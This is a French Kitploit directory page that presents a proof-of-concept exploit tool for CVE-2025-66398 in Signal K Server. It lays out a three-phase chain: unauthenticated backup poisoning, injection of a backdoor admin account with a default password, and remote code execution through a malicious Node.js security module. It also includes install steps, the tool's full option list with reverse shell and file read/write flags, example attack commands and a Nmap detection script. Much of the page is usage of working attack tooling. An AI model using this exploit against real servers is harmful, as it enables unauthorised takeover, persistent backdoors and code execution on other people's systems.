Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cve-2025-66398 — CVE-2025-66398 — PoC RCE pour Signal K Server ≤ 2.18.0 | Kitploit
Outils/GitHubGitHub/joshuavanderpoll/cve-2025-66398
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionCommandement et ContrôleApprentissage et ÉducationRed TeamingOutil d'Accès à DistanceDéveloppement de Charges UtilesLabs et Pratique
GitHub
216il y a 6 moisPas encore vérifié
joshuavanderpoll/cve-2025-66398

cve-2025-66398

CVE-2025-66398 — PoC RCE pour Signal K Server ≤ 2.18.0

Voir le dépôtSite web

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-66398 — Preuve de concept de RCE sur Signal K Server

Go Python Nmap

📜 Description

CVE-2025-66398 est un problème de Signal K Server où un attaquant non authentifié peut empoisonner l'état de restauration du serveur via /skServer/validateBackup, puis détourner la configuration via /skServer/restore pour injecter un compte administrateur backdoor et (optionnellement) réaliser une exécution de code à distance (RCE) en basculant la stratégie de sécurité vers un module Node.js contrôlé par l'attaquant.

Versions concernées : Signal K Server ≤ 2.18.0

Impact (haut niveau) : pollution d'état non authentifiée → injection d'admin backdoor → exécution de code à distance (lorsqu'une restauration + redémarrage a lieu)

✨ Fonctionnalités

  • Vérification de vulnérabilité — Teste si /skServer/validateBackup accepte des téléversements non authentifiés.
  • Script Nmap NSE — Fichier http-signalk-cve-2025-66398.nse prêt à l'emploi pour les scans réseau (vérification uniquement, pas d'exploitation).
  • Flux d'exploitation interactif — Vous guide à travers les 3 phases et demande les identifiants/chemins.
  • Mode non interactif — Exécute la chaîne complète avec des flags (vérification, exécution de commande, lecture/écriture de fichier, shell inverse).

🛠️ Installation

Python

OSX/Linux

git clone https://github.com/joshuavanderpoll/cve-2025-66398.git
cd CVE-2025-66398
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt

Windows

git clone https://github.com/joshuavanderpoll/cve-2025-66398.git
cd CVE-2025-66398
python3 -m venv .venv
.venv\Scripts\activate
pip3 install -r requirements.txt

GoLang

git clone https://github.com/joshuavanderpoll/cve-2025-66398.git
cd CVE-2025-66398
go build -o exp cve-2025-66398.go

Installer directement avec Go

go install github.com/joshuavanderpoll/cve-2025-66398@latest

Exécuter sans installer

go run github.com/joshuavanderpoll/cve-2025-66398@latest -target http://127.0.0.1:8111

⚙️ Utilisation

Cette POC a deux modes :

  • Interactif (par défaut) : invites guidées + un petit menu.
  • Non interactif : passer des flags comme -check, -command, -read-file, etc. (Recommandé seulement après une première réussite en mode interactif)

Aide / options

python3 cve-2025-66398.py -h
# or GoLang release
./cve-2025-66398 -h
                ___ __ ___ ___      __   __ _______ ___ 
  ____ _____ __|_  )  \_  ) __|___ / /  / /|__ / _ ( _ )
 / _\ V / -_)___/ / () / /|__ \___/ _ \/ _ \|_ \_, / _ \
 \__|\_/\___|  /___\__/___|___/   \___/\___/___//_/\___/
                                                        
  https://github.com/joshuavanderpoll/cve-2025-66398

usage: exp.py [-h] [-target URL] [-useragent UA] [-timeout SEC] [-target-os OS] [-signalk-dir DIR] [-check] [-admin-user USER] [-admin-pass PASS] [-backdoor-user USER] [-backdoor-pass PASS] [-command CMD]
              [-read-file PATH] [-write-file CONTENT PATH] [-code CODE] [-shell] [-lhost HOST] [-lport PORT]

CVE-2025-66398 -- Signal K State Pollution -> Backdoor -> RCE

options:
  -h, --help            show this help message and exit
  -target URL           Base URL of the Signal K server
  -useragent UA         User-Agent header for all HTTP requests
  -timeout SEC          Request timeout in seconds (default: 10)
  -target-os OS         Target server OS for payload/path adaptation: linux (default) or windows
  -signalk-dir DIR      Override the Signal K data directory on the target (default: OS-dependent)
  -check                Test if the target is vulnerable without exploiting it
  -admin-user USER      Admin username for Phase 2 restore
  -admin-pass PASS      Admin password for Phase 2 restore
  -backdoor-user USER   Backdoor username to inject (default: backdoor)
  -backdoor-pass PASS   Backdoor password to inject (default: H4CK1nd3x!)
  -command CMD          Execute a command on the server (non-interactive)
  -read-file PATH       Read a remote file via RCE
  -write-file CONTENT PATH
                        Write CONTENT to PATH on the server via RCE
  -code CODE            Inject raw Node.js code as the security module
  -shell                Deploy a reverse shell (requires -lhost and -lport)
  -lhost HOST           Listener host for reverse shell
  -lport PORT           Listener port for reverse shell

Vérification rapide (sûre)

python3 cve-2025-66398.py -target http://127.0.0.1:3000 -check
# or GoLang release
./cve-2025-66398 -target http://127.0.0.1:3000 -check

Vérifier la vulnérabilité

Vérification Nmap NSE

Un script Nmap autonome est inclus qui effectue la même sonde non authentifiée — pas d'exploitation.

# Against a known Signal K port
nmap -p 3000 --script ./http-signalk-cve-2025-66398.nse <target>

# Install system-wide and run without path
sudo cp http-signalk-cve-2025-66398.nse $(nmap --datadir)/scripts/
sudo nmap --script-updatedb
nmap -p 3000 --script http-signalk-cve-2025-66398 <target>

Exemple de sortie :

PORT     STATE SERVICE
9360/tcp open  unknown
| http-signalk-cve-2025-66398: 
|   state: VULNERABLE
|   title: Signal K Server Unauthenticated Backup Upload leading to RCE
|   IDs: CVE-2025-66398
|_  references: https://github.com/joshuavanderpoll/cve-2025-66398  |  https://www.cve.org/CVERecord?id=CVE-2025-66398

Exploitation interactive (guidée)

python3 cve-2025-66398.py -target http://127.0.0.1:3000
# or GoLang release
./cve-2025-66398 -target http://127.0.0.1:3000

Script interactif

Le script va :

  1. Phase 1 — Pollution d'état : télécharger un fichier .backup malveillant vers /skServer/validateBackup (sans auth)
  2. Phase 2 — Détournement de configuration : s'authentifier en tant qu'admin et déclencher /skServer/restore
  3. Phase 3 — RCE : télécharger une deuxième sauvegarde qui pointe la stratégie de sécurité vers un module malveillant, déclencher la restauration, redémarrer, puis exécuter votre commande / shell

Exemples non interactifs

Exécuter la chaîne complète (Phases 1 → 3) et exécuter une commande :

python3 cve-2025-66398.py -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -command "id"
# or GoLang release
./cve-2025-66398 -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -command "id"

Exécution de commande

Lire un fichier distant (Phase 3) :

Télécharger l’outil